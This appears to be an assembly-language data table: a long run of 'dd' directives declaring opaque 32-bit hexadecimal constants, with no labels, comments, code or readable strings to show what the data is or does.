dd 0C88C2A6Bh, 95C7011Eh, 3C6DA25Ch, 0F0D6E19Eh, 1500FCE7h
dd 0C1ACA14Bh, 1EFF1AB9h
dd 0C03B1009h, 74F12380h, 9600C613h, 49067528h, 210EB25h
dd 0F6E08BE2h, 0D4C10308h, 0D9B2201Bh, 2A172DF6h, 3E0B70EDh
dd 0BB078016h, 78E36D21h, 7CEC0090h, 45B49330h, 38032CC1h
dd 0C8108D34h, 0F90B18ACh, 17E016F2h, 144853Bh, 94DEBF35h
dd 41E82E82h, 0DFD2001Fh, 7D1F065h, 1A1D01C5h, 80BA23E0h
dd 8110FC8Fh, 7B14118h, 1F0F6D3Ch, 0E2638388h, 0E07F107Fh
dd 0F374B300h, 2FFB414Fh, 6C938D4h, 7501195Ch, 900E646Eh
dd 9AF540C3h, 0F1015D03h, 0A0F4173Ch, 0F3FC5F5Bh, 25FF39ABh
dd 6103C500h, 101C68C3h, 1F7F4349h, 0D2030A3Dh, 0F0FE9C56h
dd 1395E480h, 162D7AF4h, 74FCB7h, 0E1014AA6h, 1411967h
dd 96C1C40Ah, 86CC8137h, 218C1C1Ah, 16880E1Ch, 0CDE0587Fh
dd 0C7FD7285h, 6A925000h, 0BFACFAEh, 411A0020h, 0D259CFFh
dd 0BA00084Dh, 0B67E2234h, 0EF4A45h, 3C683061h, 0A4B1340h
dd 8F910100h, 91A27C2h, 0D5BA00FFh, 6FE5DB55h, 673C7F87h
dd 3C4500A9h, 85237727h, 8420003Ah, 3ECDE3AAh, 6E00BE69h
dd 24271355h, 0F90CC864h, 1938FCh, 0FF6A0A07h, 80E39ABBh
dd 0C3534B02h, 40C8C481h, 0C7B84Dh, 1658E51Dh, 8A306C68h
dd 6575AC01h, 20C0608h, 509630h, 0E2B0D1C3h, 7A77A8A1h
dd 8331E900h, 2A742678h, 0FD0D014Dh, 2ABF750h, 0C01ADCBAh
dd 0C491000h, 0BA21DFAh, 0A3C100DDh, 12135315h, 7D1F42D3h
dd 684040F4h, 0FFCBDE54h, 2E8F0098h, 8087BCC3h, 11DEB0Ch
dd 67808386h, 0A302FBB8h, 72E8FE1Ah, 3CDD2C17h, 11BB038Eh
dd 0C90E319h, 0D003F30Bh, 0FA20CE13h, 7DF09104h, 311BF0h
dd 0C852C3C0h, 12ECCB3Fh, 20CD0200h, 0E9183C58h, 9414007Eh
dd 78FB3121h, 6700684Ah, 0E802A07Ch, 56632Dh, 8D0989A2h
dd 68512470h, 1182E90Eh, 8650C3EBh, 0A9E4F86Ah, 3810053h
dd 2AF8D906h, 0D700C760h, 0AEB108B9h, 5028BEBFh, 0CAE7A5h
dd 6AA20312h, 693A957Dh, 0ECBBDE26h, 0C72CEA07h, 2AEBC030h
dd 7D717A25h, 79DF0061h, 0A9777202h, 0CE00EA54h, 42D7E1AAh
dd 3371BB5h, 4720B488h, 0C0D0C8BAh, 0B0B01814h, 16218E00h
dd 9555C2CCh, 41E0015h, 0B2355BD6h, 9B00D9BBh, 89CBBC7Ah
dd 140F754h, 0D62CC32Fh, 20A1F1ECh, 38011864h, 5877AE4Bh
dd 6E2688h, 152084F4h, 5F80741h, 2CBE9800h, 0D6AFBA40h
dd 897E2Fh, 545E52C8h, 0D2E7B712h, 98C73301h, 0F3558DB1h
dd 299D6C8h, 36C695Dh, 0DE400AEBh, 7307111Dh, 0DE5609BFh
dd 0F3458A00h, 74C81CFEh, 1601FE0Ah, 28EB2280h, 0E16F70C6h
dd 3AF60126h, 88F43201h, 18FCF563h, 8721007Ch, 0DC200894h
dd 56015104h, 0FCDFC053h, 0CAC0E983h, 0F8760397h, 0C909DB31h
dd 78397480h, 3CAC3700h, 1B1848E8h, 427D0681h, 36F40475h
dd 44115200h, 8BE7EB49h, 80300006h, 0D745A7Dh, 1600038Ah
dd 75F5553Ah, 0FEE0EBEDh, 18C002C1h, 89D82901h, 5CDE05Dh
dd 0FECB7E75h, 0C4F8000Ah, 95595E5Bh, 7100AC74h, 32311004h
dd 98F6970Dh, 9ED51D71h, 0FF29E40h, 6A4027CFh, 89FA755h
dd 92037500h, 0B8401F1h, 2B820080h, 0D7FA57E3h, 490089EEh
dd 5D11A80Dh, 5CBC1Dh, 62102242h, 1668841Ch, 0F6F311Dh
dd 0CD43BEC7h, 2A96FDA0h, 65AC3B04h, 11B0FB8Ah, 7F326ABh
dd 406808F1h, 21C443F4h, 0D091CA00h, 2651D788h, 1C7AFEh
dd 14509765h, 0DB6B5C66h, 0D93DDD01h, 0EB557E96h, 1FF020D4h
dd 8012C8F4h, 0E60AFFA7h, 0E5A00982h, 6302CE5Fh, 22AA044Bh
dd 242BE0C9h, 7CC00F0h, 2A7F9058h, 9C030E8Dh, 781E6123h
dd 2184A860h, 1F1D0066h, 7388E16Ch, 0C200E410h, 0A98F93Dh
dd 366B080h, 27F07D8Ch, 9FC8FB03h, 0D3002BD6h, 0BD3AB252h
dd 0B05FF2h, 0FE5B2034h, 0A2441E9Dh, 7B598D00h, 4C1F213Fh
dd 60EC4850h, 2BCE8700h, 0FD7B5CBh, 0A5180D00h, 15250453h
dd 358E0385h, 71898608h, 20E8FCCBh, 4300B8D2h, 2DE0516Dh
dd 700798h, 0CFE89F0Fh, 1812891Bh, 8A5B5800h, 0AB473628h
dd 349D2665h, 54810062h, 4655F40Fh, 85F51F07h, 5A8021E3h
dd 0E60081Eh, 67111843h, 0CFB6C441h, 61248F38h, 2C8C40A4h
dd 5E773Fh, 0F430C89Bh, 7E8923F3h, 71F25000h, 0C5448FC6h
dd 19CB0032h, 85D818D1h, 0D00E2708h, 0E0996670h, 5C91547h
dd 0CFC0065h, 28C510B1h, 0F1012046h, 2D082527h, 33F01F42h
dd 3AC40319h, 1E897212h, 77B2C8D8h, 0BAC70400h, 0A7A4F8E2h
dd 4013023Eh, 0D715508h, 0F01158C0h, 588DC400h, 57D262A2h
dd 0D40950E3h, 68E80Eh, 0A7CF9510h, 4386CEE8h, 0DA23D41Eh
dd 30A1E1C2h, 228055D1h, 161EA89Ah, 6AEC6902h, 80A067FBh
dd 3BE21DF7h, 4BC00049h, 0E4D63784h, 5D3D0747h, 0F80F1F0Ch
dd 2F77BC3h, 226C07B9h, 60B8D1EEh, 1E7592A0h, 0DC98AB00h
dd 995C15E8h, 141F0079h, 64E36FFh, 0D600A7C3h, 0AB5E558Fh
dd 3276BB4h, 49CF35A1h, 93D87841h, 2D008519h, 0E2C5A51Fh
dd 7A89F034h, 77C0000Bh, 7464118Fh, 0DA1F9435h, 0C9E4D961h
dd 0A0EE200Fh, 21AFE0A8h, 0AEE2098Dh, 0F3891026h, 1ABA7800h
dd 137DC188h, 0BD90D2F6h, 509B4F07h, 605169FEh, 53304634h
dd 312E0040h, 90922DF3h, 0D04ABF80h, 3F1383FCh, 805A1E0Fh
dd 5742FF9h, 5C000A0Bh, 0FB870275h, 0E03AD542h, 85EC00DEh
dd 40374F6h, 100468Dh, 0B2EEC35Eh, 0E6AAD2CCh, 587A0716h
dd 0D0B07023h, 125113E8h, 342EB91Dh, 3F378900h, 77DCFDh
dd 0F5681A9Fh, 0F865779h, 0E5DA8500h, 4B34F769h, 0DA226173h
dd 0FAD51798h, 1E3BC940h, 52247500h, 51F05792h, 0C133004Ah
dd 1F5DFAE2h, 3C007B86h, 783B7C41h, 0D15C03h, 1304F81Ch
dd 869645EEh, 5B5F8500h, 904A225Ah, 0A4680023h, 33D37B61h
dd 6A0F52D2h, 20197AA9h, 0E075B34Eh, 0C2BC1668h, 0EC58002Fh
dd 50DB93A2h, 59128F07h, 0FC20F43Ah, 1295A4FAh, 13A669h
dd 0EBC72363h, 814C245h, 0F68624h, 476BD59Dh, 2B450BBh
dd 6535B9F8h, 0E0F51381h, 0E03BAD5h, 0B5EEF2ABh, 83808D4Fh
dd 52454B02h, 4C984E00h, 2E3A3233h, 0D3F60344h, 3C8ABA1Ch
dd 65685480h, 726F2002h, 7D690F64h, 0A21037E0h, 0A02F320Fh
dd 3F75CF63h, 12B9ECDFh, 0B100F474h, 615BB044h, 6FDF00F3h
dd 0F7DD4E1Eh, 79079663h, 6C6D7C5Eh, 6B202E70h, 620B07C7h
dd 0F74CEE72h, 4F1B307Dh, 0CE714441h, 0E7E90607h, 1AF062B5h
dd 706498h, 8286D972h, 147CDB75h, 746E330Fh, 78FEA05Dh
dd 6989F1h, 0D232AB8h, 508B01C3h, 51062005h, 0A2C05240h
dd 7550254h, 570F5604h, 0F36A70E7h, 0AA076805h, 9B114303h
dd 2474A1F0h, 300707E1h, 10FB3501h, 2320A12h, 0FB51300h
dd 0A1CC067Ch, 45892C25h, 9B2200A4h, 0A924834Ah, 0C2D22B00h
dd 0C50C5E57h, 33A005F0h, 8318B6B8h, 0F9E8697Eh, 78E4BA42h
dd 0B02C7C00h, 49144F17h, 0A9C61C5Bh, 0B6E100F2h, 0FD438D33h
dd 380C9D00h, 0CEAC5399h, 0E8C507C8h, 10FC8F2Fh, 93184540h
dd 2CD54D00h, 634E0869h, 1290A001h, 31EF0003h, 0BB8F9F7Ah
dd 807DDE43h, 75772601h, 0A3B19BEh, 0C48D0h, 748B33ABh
dd 8262B46h, 16C10401h, 0D8D96306h, 37C9FF8h, 0C3D2D7F1h
dd 0EBE992CCh, 6C047003h, 0B84F4A01h, 17AFB121h, 0B083ECh
dd 0A21B8825h, 9197E64h, 555CDAFCh, 0F42B2659h, 11F00305h
dd 5789EEC0h, 871A1E29h
dd 7A34C168h, 70076A13h, 53CC069h, 4BC38028h, 0E6958DC7h
dd 4474D0h, 0DC971416h, 0E9FD4923h, 6F1CDC98h, 4840C645h
dd 18D7C0EEh, 6985008Dh, 2B762DFFh, 1002338h, 2486EB3h
dd 87A1F6h, 44840F5Ah, 7F74F822h, 0E798501Eh, 5E8AC700h
dd 0DAEC06h, 5D694633h, 49CB8BB1h, 0D82B3700h, 0A166AA7h
dd 875203B9h, 24D3E588h, 9EC2ECC8h, 0BB5D400h, 4280562Ch
dd 0CB3703E8h, 4473AA92h, 89172ED0h, 7E0B3C00h, 0CA68B83h
dd 40A00DBh, 53377529h, 1D00C99Eh, 0C451AB4Dh, 0EA025648h
dd 0FF55008Ah, 40B854BEh, 36008B28h, 5D1D523Eh, 154B9Eh
dd 291C864h, 0F143BB8h, 2965D201h, 106A1D19h, 89F409E1h
dd 338A0380h, 783040Bh, 0D839AF98h, 5C702A00h, 0BA16CAE8h
dd 9E2302EFh, 2B9D7826h, 60A30EC1h, 1F00A9CBh, 3818B062h
dd 0F487D6FFh, 54A0013Eh, 0A26EED12h, 0AA42E0DDh, 0D91A9C00h
dd 0EA77E9C7h, 0C5E000EBh, 0B6852806h, 0DAE65022h, 48004474h
dd 59A2CB88h, 0EE5C05E7h, 1B743E62h, 0BB9BB380h, 55199925h
dd 0B5FDA00h, 21E66EEFh, 0B8295E38h, 3B950060h, 0BA61643Fh
dd 4E5D0089h, 5C448832h, 70071045h, 30AEE480h, 58BA05C0h
dd 0D4560006h, 19658555h, 0F4009838h, 8EAD5F8Ah, 0B66F12h
dd 0E60DCACEh, 0C6F669B4h, 0D0608B0Fh, 9DAD279Eh, 894A0700h
dd 4F0300C7h, 83D4D73Dh, 0D800F87Dh, 13C931F3h, 3AFE8749h
dd 0C0F10A5h, 3E080ACh, 0A17DD74h, 8075063Fh, 4C4F51Eh
dd 87EFEBh, 0C78D25B2h, 2246CE7h, 6742C00h, 410E049Fh
dd 0F2EA1FEBh, 0CE0100F8h, 87156BE8h, 0FF5B8D16h, 9C7200FBh
dd 70D29118h, 0C41B2800h, 75212D6Fh, 7B081D27h, 82118743h
dd 0D8D1D01Ah, 42001038h, 70BFA0A2h, 0F5D2F8Ch, 208AD5E4h
dd 7CA309E0h, 0EB004D22h, 5A82543Ch, 1FD06EC3h, 0B5C6E8h
dd 675CCDE5h, 84383518h, 475963Bh, 680C0500h, 658A48h
dd 45E0C34Bh, 6E99A2C8h, 155FD200h, 60043E47h, 53242E68h
dd 0B8F407DDh, 0ECFD50C2h, 61004910h, 0CBC35837h, 0F1CE55Eh
dd 72653344h, 403235C7h, 0E868073Ch, 7D5BB60Fh, 2BB80054h
dd 114127Ah, 8AAB0122h, 0CCF8A49Ch, 0BD0065B5h, 908C79ECh
dd 668915h, 6521911h, 54532CFAh, 326B0D01h, 451BE83h, 0F8D570h
dd 0D5FBA455h, 0B42617AAh, 0D3409F1Fh, 2B0098A8h, 46C5CA4Eh
dd 919E4AFh, 1D6975Fh, 9DB1B880h, 0AE003431h, 0F4074D3Fh
dd 7E72E9EAh, 0EEEAFAh, 0E82DAB7Ch, 973876F2h, 80AAFE07h
dd 12A7C1C2h, 1E08457h, 23723Fh, 8E4448EFh, 828C8703h
dd 0F6E28100h, 0D3C29E28h, 49FA16C7h, 9BCB001Eh, 5F3A2A4Ch
dd 6B007FF4h, 4F56EC8h, 3F8A996h, 3CCAD3E1h, 20D23422h
dd 7369F0C0h, 674AB400h, 6D7D61E6h, 2B8F9h, 54656218h
dd 0D44B116Eh, 9FB12B01h, 75F479FDh, 67F1A8EFh, 1C4C00B7h
dd 0DE76217Ch, 0EB00A50Ch, 0DC669B42h, 71FF7BAh, 325E977Dh
dd 63F320CFh, 791C5386h, 0C6526D65h, 54491500h, 0EA277Eh
dd 0F24F764Eh, 7843F44Ch, 0CDF74503h, 9346F544h, 0DFB7B852h
dd 0DD54004Eh, 0BE55420Eh, 21F2953Eh, 8C532800h, 3A656D1Dh
dd 67610099h, 6CF17796h, 2C1771C6h, 110EB83Eh, 0E5E280DBh
dd 73A728h, 611F9FAFh, 1456FAE3h, 524E4003h, 0D0DD4745h
dd 0F8FDE67Bh, 0DCF5630Ch, 0E8802C65h, 587871A8h, 0FF260600h
dd 0C842C025h, 8C5E161Eh, 167003Fh, 500B2B10h, 0BCEDEB01h
dd 4B1EE70h, 7E6856D8h, 32223CCBh, 0E8030073h, 28EC311Ah
dd 553C46E4h, 5F92803Dh, 0E16112EBh, 720B04Bh, 0A7F8B673h
dd 0D26C6096h, 0AC004377h, 90168A4Ah, 7DA1C528h, 45411850h
dd 1C404E5Eh, 78FC8100h, 4CE7E536h, 189A0064h, 871E3FEh
dd 41002C88h, 591C215Bh, 5B862h, 0C8A265C6h, 5E717E55h
dd 28485C00h, 41107516h, 0A7660183h, 3661E406h, 0E589F452h
dd 7CBF5F00h, 0B1E6F8BDh, 858200A2h, 9AEC371Bh, 40BC11Fh
dd 7159CF0h, 1DE0E994h, 3D019BFAh, 0FEA85Fh, 0AA443D83h
dd 14BD60C1h, 4286A00h, 8D510AB9h, 666800F0h, 547AD7D2h
dd 1771FFC4h, 0DC432503h, 9935C740h, 0F5F00F18h, 0B3CE001Dh
dd 2CB9DDB5h, 920758CCh, 0C3D8E7Ch, 0FF748199h, 6F8E9E3h
dd 8DDF00F8h, 43443883h, 3216309Ch, 0F603F01Ah, 0D914515Fh
dd 65D05CB8h, 2F0A00BAh, 53FCD75Ah, 0F0EC1B4Bh, 6071BB1Dh
dd 3A09FE01h, 6A6013BCh, 3691000Bh, 50313208h, 541E5FE8h
dd 59C0DE01h, 6517F91Dh, 0F56F002Dh, 84326410h, 21012C6Ah
dd 770C2670h, 0C6F41F47h, 5E100DDh, 0B4800AA7h, 6100E975h
dd 9EEDEE4h, 16361DE0h, 51030Ch, 4488934h, 805062Fh, 558FB977h
dd 59240DC0h, 99763F1Ch, 0CE800F7h, 36F716A9h, 39007268h
dd 50341003h, 0BF0B27Eh, 23DD9A4Eh, 2946C980h, 12002B58h
dd 256ACBC6h, 0FC8FA920h, 73BF00EEh, 24A31376h, 6F00B00Bh
dd 5508A2A1h, 4C33DE90h, 1C1F3CFFh, 0B844C056h, 5F4C2710h
dd 0B4A39600h, 25AEB606h, 0F2B971F8h, 6EC60032h, 218DD374h
dd 4B01C42Ch, 7B84F427h, 852064E1h, 95891EF8h, 682AC028h
dd 541C2B26h, 0DB61602Eh, 12AAD200h, 0B89A9C39h, 0B4D00005h
dd 1819A021h, 0FF007068h, 0F58547C4h, 50C192h, 0FDA71FC5h
dd 4FA90B13h, 0BE0424EEh, 0F12F4623h, 28088FC0h, 752E0042h
dd 47350CEFh, 84001021h, 0A8C3E1DFh, 72820Ah, 0FDFCE977h
dd 15F5B924h, 84B25700h, 208C0D8Bh, 89000D3h, 656A4F3h
dd 37B456Fh, 0D7B44813h, 21D67000h, 3E291DCh, 3842E19Eh
dd 77D01CE0h, 0B8B850A9h, 0A1D18F00h, 42AA049h, 407400D0h
dd 65088A82h, 2B00640Bh, 0A5508E93h, 0E9498Dh, 0B9DC4895h
dd 0FCE27EF3h, 4A16D41Fh, 322A5781h, 0EE4C652h, 20EF0062h
dd 3730C322h, 354CC288h, 102F005Fh, 238629CEh, 227DD5h
dd 6370E124h, 124085AAh, 0CFE97900h, 2CBAE75Ah, 0B23900BEh
dd 0B79FACDAh, 0EDFA121Eh, 0A429BF00h, 0AFBC132Fh, 0D5202ED9h
dd 0E00A0046h, 0CF74324Ah, 87ECA63Dh, 692F211Dh, 5CB60DE0h
dd 1CD40071h, 0C4958EFCh, 7600B54Ch, 0F405424Eh, 2C7D4BC8h
dd 3EEA50Fh, 0A12811A3h, 8B5025E8h, 0CCB2FD00h, 19BD5CDEh
dd 14F43F9Bh, 6380D8BFh, 0CAB8017Eh, 0F8008B27h, 6A0C3CFBh
dd 4382610h, 1672FD82h, 74C18391h, 24BFCD8h, 33154D0Bh
dd 948B80C9h, 98772B18h, 0EB2A1F2Ch, 0DC108013h, 8AF44054h
dd 0E9000979h, 52CCC7BFh, 54B1D57h, 39B35063h, 8C7D8048h
dd 0D400BFA8h, 0C1E39F11h, 75AD55B0h, 121A0056h, 4A021C8Ah
dd 0F2005A15h, 81AE525Eh, 39305C88h, 238F4EFFh, 1170585h
dd 14313EF9h, 0B01AF81Ch, 0EAC1D000h, 7FD74586h, 0CA4707E6h
dd 80A589E7h, 0BF08A1A4h, 0EA007875h, 0B36C9E9Dh, 0F8B73CEDh
dd 0EFAB1762h, 4833020Eh, 1460D123h, 0C4721B33h, 80213838h
dd 43270832h, 7D2E112Ch, 0E37D3F25h, 0AC42BC00h, 697B6BA0h
dd 0A9B82D00h, 0BF981E86h, 508807EAh, 53260529h, 94C12084h
dd 2D30EC1Ah, 2FC38100h, 584C54CBh, 0BCC80023h, 0C1F4244Eh
dd 3C005C3Eh, 0A1C3652Dh, 12560Ch, 0AB34BA16h, 82D7F699h
dd 0B8A42402h, 40217AD4h, 0C8D9AFh, 28E6C4DFh, 84E44335h
dd 2AAD7404h, 0FCC0230Dh, 3DEC45FEh, 108097F5h, 0C6EA3AD5h
dd 8D010F96h, 2B5AC84Dh, 79E4FA83h, 0EA1FE55h, 37EE4F98h
dd 218E0E3Eh, 7346245h, 8039618Ch, 6D083367h, 112D4303h
dd 0D8DD2674h, 0AE28EFh, 7CB11654h, 665779B3h, 0A1844900h
dd 9EE6FFECh, 53F80011h, 67043699h, 4900D75Bh, 0F3563773h
dd 752C1594h, 33550048h, 6D815EF6h, 6E00A828h, 0A90DFE14h
dd 490915h, 4E7AA510h, 3420C573h, 4D7C5500h, 24EF9639h
dd 0B964008Fh, 0D629CB32h, 1271A80Eh, 823C8300h, 0C5226B8h
dd 0B7CA1C5Eh, 5B7F4F48h, 0FC25B180h, 0AB06DB75h, 0FE78D336h
dd 3D17001Eh, 8A4CA9D2h, 0A7001850h, 0D0FFF8E0h, 4022A6h
dd 68761E30h, 1A4C1241h, 9C0082F0h, 292C570Fh, 0EE5C2820h
dd 0B0524B81h, 8F859F0h, 34A5B000h, 7C2230C4h, 0A35D269Eh
dd 6C25019Bh, 0D84F0FE8h, 8800D713h, 0ABA994DBh, 0F5DFB9h
dd 1D8BEC71h, 9B671047h, 3024F1A1h, 1F01AA67h, 0BA6B335Fh
dd 89E8A1F0h, 0B5041FB0h, 1A4A833Bh, 258B2992h, 0E8185788h
dd 93C81500h, 2B0AE955h, 899C001Fh, 0C56F7129h, 72EA0480h
dd 275C1500h, 2225D4D3h, 0B95700F4h, 5ADC5624h, 30B0DB0Ah
dd 164B2948h, 5E00FF1Bh, 0BA7CA462h, 0AC910349h, 0EB140A10h
dd 3B880C98h, 7033BD03h, 0F1B250B1h, 0ABE88B47h, 2AB603C8h
dd 97E8115Eh, 276A13C0h, 3EDC4400h, 3D106F37h, 4384003Ch
dd 30492136h, 473E500Ch, 0E79F8229h, 0C0B0DEE1h, 0B7F8D47h
dd 808391A2h, 6E20BA0Fh, 0F4102B25h, 8537FE02h, 0C0AE4330h
dd 0C2FC0h, 504D186Dh, 35C46168h, 213BE90Fh, 0ABED27A6h
dd 0C2261420h, 0DD5607D2h, 300DA10Ah, 0B2284989h, 2D42E700h
dd 0CDB624AFh, 767800FCh, 0C50D32BDh, 45E41975h, 287709EEh
dd 0EB7E1800h, 0E9269B1Eh, 104F009Fh, 39132904h, 283C0693h
dd 0A58507CAh, 4CB09561h, 1FAC1C15h, 9624421Eh, 80FE0308h
dd 0D8A13B02h, 0ACF770B7h, 0B6F4831Ch, 0AAE1780h, 371656h
dd 0E9140820h, 52FE2B10h, 4967803h, 0C8544846h, 0F002F969h
dd 6555093Ch, 9180C7CFh, 1F2360C4h, 59758400h, 7370620Fh
dd 14320B50h, 228E7412h, 40C617E0h, 0C20E901Dh, 4296A26h
dd 45C33944h, 0C838D83Eh, 2BC43E32h, 0B2BCE2B0h, 8C0781B1h
dd 8255AF70h, 206E36h, 28978B99h, 2D7BDD10h, 801AA100h
dd 0BC2E31EDh, 29B0BDh, 9024A40Fh, 290A530Ch, 440023B8h
dd 2E518B10h, 1FAB3914h, 8F12151Fh, 827E0EC8h, 618200Bh
dd 45C73C60h, 0E4F63Fh, 0F264F40Dh, 303115h, 1DD84EDDh
dd 17A966Ch, 9EE0DF18h, 21350E4h, 0C11870FFh, 8F601406h
dd 0E90B2FF2h, 7CF6045Bh, 0B01B0047h, 0B501232h, 0F211F400h
dd 80186258h, 4E9C0EE8h, 3A00D22Ah, 0C83F103Dh, 33643900h
dd 43142C62h, 0B4F2EAh, 0A2822456h, 0B9A4C917h, 228E0B00h
dd 716F2026h, 1E1C7533h, 80CBA687h, 0D4A0FC8Fh, 0EF01BACEh
dd 0C4D35C39h, 0B040B21Ch, 1135806h, 0D2458917h, 0F8558B4Ah
dd 0D6004076h, 0C438A760h, 7ADC08EAh, 0BCE607D4h, 90DA448Dh
dd 137E5C0Ch, 2C359B12h, 9400AC1Ch, 0A9EFE8CEh, 8A6A01E1h
dd 19247DA4h, 0ED88D02Ch, 21DE3B00h, 0F20840ECh, 0F842023Ah
dd 2DFF1834h, 0F84E14C1h, 0B5128DC2h, 0DA1F0515h, 3E7AA7C0h
dd 0F96063h, 3BE8C845h, 5A365CB5h, 3CB85D03h, 0C84F8AC1h
dd 33E3D99h, 3432070h, 22E075A1h, 0E8E32350h, 8F00C519h
dd 8381AF41h, 3E04C4h, 9DE52927h, 32F80E34h, 0A9527C00h
dd 0F11969C9h, 0B7BF003Bh, 24501FB9h, 400C5B0h, 8B45109Fh
dd 0ECDAA8C0h, 0EBB80381h, 0F0FF0369h, 20B2709Fh, 3D00307Dh
dd 5C378C8Bh, 1F947723h, 0F5876h, 0C355251h, 0D20FF3E8h
dd 0E0F0BE33h, 0FFC80A83h, 0EB9881h, 604FC319h, 92158D13h
dd 2351500Ch, 0ADA410h, 0B80A38A9h, 0F433F14Bh, 13060538h
dd 94010807h, 1814100Eh, 280340C2h, 40380030h, 70076050h
dd 0C007A080h, 64010AE0h, 91024820h, 4220303h, 18490545h
dd 100D14A0h, 39780658h, 67093A84h, 0C870B72h, 0E1FFFAFh
dd 10800F9Fh, 0E40111A9h, 51700212h, 564BD18Bh, 57803043h
dd 4004A39h, 2F533572h, 387AF8BEh, 8A8B029Ah, 0D3814018h
dd 0C8E0AD89h, 0B70E0842h, 5E27C18Fh, 0EB7152h, 0B4F97DBh
dd 2A0001AAh, 89FE0304h, 752FBDh, 0C13B14C0h, 0F45BD273h
dd 48F17200h, 2B011027h, 0E8D30ECEh, 7E046ACh, 7025CF93h
dd 1C009174h, 89610604h, 95E1E3Eh, 7565C259h, 60088F57h
dd 0B2938481h, 92FC0091h, 821917A4h, 14008C1Eh, 7B73E5FAh
dd 10CA812h, 531D9866h, 0D9565528h, 0F736011h, 0AA517800h
dd 8D94702Eh, 2CBE00CEh, 0ABF3F6C0h, 953DBC8Bh, 3B0980F1h
dd 2F9BF8EEh, 80760020h, 380C8A68h, 5C0E128Bh, 8318288Ch
dd 80404308h, 89C53Bh, 0B9EB7219h, 5F61A217h, 666C6300h
dd 154406F7h, 33680018h, 0C71C0DFFh, 5124C892h, 891F0701h
dd 6A8D1980h, 142708h, 2C349640h, 3E00AD3h, 0DE81F800h
dd 71890143h, 0F1400CCh, 6C788E87h, 7D007E30h, 3C5D0EC1h
dd 2FC303h, 1F60E2F1h, 2481FD40h, 0A46C5Ch, 0C948758Bh
dd 0EE6DB10h, 90BADA9Ch, 0C5EEC140h, 2570CE1Ah, 0CB2B3E00h
dd 518AFB03h, 0D3B900D8h, 0F86C12B5h, 0BF00697Fh, 0DD67705Fh
dd 0E98314h, 0FAAD220Bh, 20FEA4CAh, 0BAFDAE00h, 0EACFDF7Bh
dd 4AA20084h, 4023835Dh, 0C600AC49h, 935CA6Bh, 0B251F89h
dd 0F98209Bh, 42923280h, 0FF0096ACh, 0C9017FF6h, 5BC032h
dd 0D2982630h, 824B221Fh, 715461Fh, 76CE85DFh, 995FA03Bh
dd 318ADFh, 0B20A7BC8h, 88119422h, 608F5300h, 896884BAh
dd 8748000Ch, 0E2376D3Bh, 8D1F1898h, 524A4721h, 411FA038h
dd 0CC72C8C0h, 9B0AD10h, 5F51E201h, 57738980h, 300064Bh
dd 307208EFh, 8A40DFh, 4D884111h, 0BF7D0554h, 1E0D6B02h
dd 40E1C113h, 0FA9AE25Ah, 50CA0585h, 80C2B003h, 0EB317BFCh
dd 0F9179E00h, 27D0730Dh, 4C373838h, 0CA1FA7D8h, 7E854080h
dd 0FEC1E325h, 225CA601h, 961264A4h, 0C8D49331h, 20070080h
dd 8A1EDC63h, 8700111Ch, 103BEBD3h, 39732C46h, 2800C30Ah
dd 9278D21Bh, 3F00F3FFh, 7A73014h, 58FDAF5Fh, 3428B28Ch
dd 735B892h, 0D123881h, 3C027311h, 8B0F2EC0h, 79C90E00h
dd 6FFA8430h, 410A0089h, 18B9961Ch, 0C37E7143h, 0E85FE600h
dd 4977CF9h, 0C1030744h, 51898E8Bh, 0EC93022Ah, 0F5005981h
dd 330926D9h, 3F40A1D2h, 248068B7h, 8A3C16F9h, 3D002D88h
dd 48EF1ADFh, 0E3D37Ah, 2FBC0373h, 0E6723A04h, 8D8B881Eh
dd 66074FD7h, 0E850D168h, 2E6F08h, 1C6A6042h, 0E1A08F8Dh
dd 0DA0E5D00h, 59883007h, 54024C13h, 87891A00h, 4E406B60h
dd 0C9F50500h, 0EBB25B0Fh, 1D57FE42h, 796695Eh, 0A08D4307h
dd 0D3C9FF6Bh, 97BF2000h, 51E1907Ch, 0B5540482h, 8014980Ch
dd 0B99D50F9h, 1376BDF4h, 2A02421Dh, 584581FEh, 0A960CD20h
dd 4814D760h, 0AA03A0D0h, 315432E8h, 27C65FE8h, 30C2201h
dd 29D98B2Ch, 9E208DD9h, 2470B86Ah, 19CD5Ch, 2416712Dh
dd 0BB00141Dh, 96535536h, 7405AA6Ah, 32043F34h, 0C1608809h
dd 83010800h, 720013FEh, 47BB8DEDh, 0F36A78h, 65FC5097h
dd 322E2D17h, 3F0B923Eh, 860D000Fh, 0C46CC359h, 2FA90031h
dd 101C0312h, 0E7031573h, 8A0752DAh, 0D0BA0514h, 1C0FE280h
dd 24340383h, 75E0EB46h, 0FF006A28h, 3083594Ch, 3F203C0h
dd 22814E7Eh, 7D80F5FEh
dd 4C008A52h, 88482334h, 1D4DB0EBh, 8FEA7F2Ch, 7640366Bh
dd 36A0AE3h, 80502D3Dh, 0AE07FC0Ch, 0B640Eh, 17711377h
dd 24A343C6h, 4846810Fh, 0A0ED4F94h, 738C0F82h, 8D0700C9h
dd 0A0C77E31h, 520F104Bh, 6041ABA7h, 29472484h, 888B0074h
dd 22A55057h, 11F88CE1h, 51389A72h, 18C0B046h, 83C660h
dd 66B90264h, 4BC8085h, 0D22B1C00h, 6A20AE75h, 0EBF02872h
dd 481B0792h, 30517F60h, 0C5D22165h, 6E45BE0Fh, 1088C080h
dd 410B40h, 14F7754Eh, 0E847A843h, 0DC0045B8h, 0C25E900Fh
dd 42F4EEh, 830B6C5Ch, 8B5DABECh, 0CCA9081Dh, 0B7C15940h
dd 57E21Ah, 2C6BDC33h, 82672E65h, 860F1000h, 4E528743h
dd 68190E99h, 1307293Dh, 0DB0D2073h, 0D100D688h, 0E2A76141h
dd 1CE92381h, 80983550h, 830F4FD0h, 4100FB67h, 9D480905h
dd 7702D8E8h, 0EDC11313h, 2EE50003h, 0A007A384h, 9D140603h
dd 0E842A75Eh, 0F7AC668Eh, 3B4E4760h, 0C11E084Ah, 0E94C0298h
dd 0A2C09B59h, 4022032h, 5A5CCC66h, 0CD2406Ch, 15AC00E7h
dd 0EE56D1CDh, 8BF44E10h, 47B8DF00h, 8C7EA7CEh, 1B3F42Ch
dd 5CF17CDh, 0ECEAD3D6h, 0D77E8967h, 6DE41A03h, 0E04ADA52h
dd 1F887A06h, 0EFA8C530h, 0CA004874h, 11893177h, 2286008Ah
dd 9C8B042Dh, 520168AEh, 952CD8A8h, 9FC3496Ch, 7674FAD0h
dd 0FF830707h, 0F0717203h, 6F458146h, 5A22FD00h, 4163133h
dd 0C1C50117h, 136612E2h, 852CD06Bh, 0B4012F7Eh, 312505B5h
dd 75D6BD73h, 0C70BE360h, 575D5300h, 82C69345h, 73350338h
